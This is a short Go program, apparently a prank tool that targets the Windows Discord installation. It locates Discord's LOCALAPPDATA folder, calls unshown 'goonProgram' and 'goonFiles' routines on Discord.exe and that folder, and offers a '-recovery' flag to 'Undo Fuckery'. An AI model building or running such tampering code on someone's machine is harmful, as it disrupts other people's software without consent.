package main

import (
	"flag"
	"fmt"
	"os"
	"time"

	"github.com/Merith-TK/utils/debug"
)

var recovery bool

func init() {
	flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery")
}

func main() {
	flag.Parse()

	if recovery {
		restoreFiles()
		return
	}

	userdata := os.Getenv("USERPROFILE")
	debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata))

	localAppData := os.Getenv("LOCALAPPDATA")
	debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData))

	programFiles := map[string]string{
		"Discord.exe": fmt.Sprintf("%s\\Discord", localAppData),
	}

	debug.Println(programFiles)

	for program, files := range programFiles {
		err := goonProgram(program)
		if err != nil {
			debug.Print(err)
		}
		time.Sleep(5 * time.Second)

		err = goonFiles(files)
		if err != nil {
			debug.Print(err)
		}
	}

}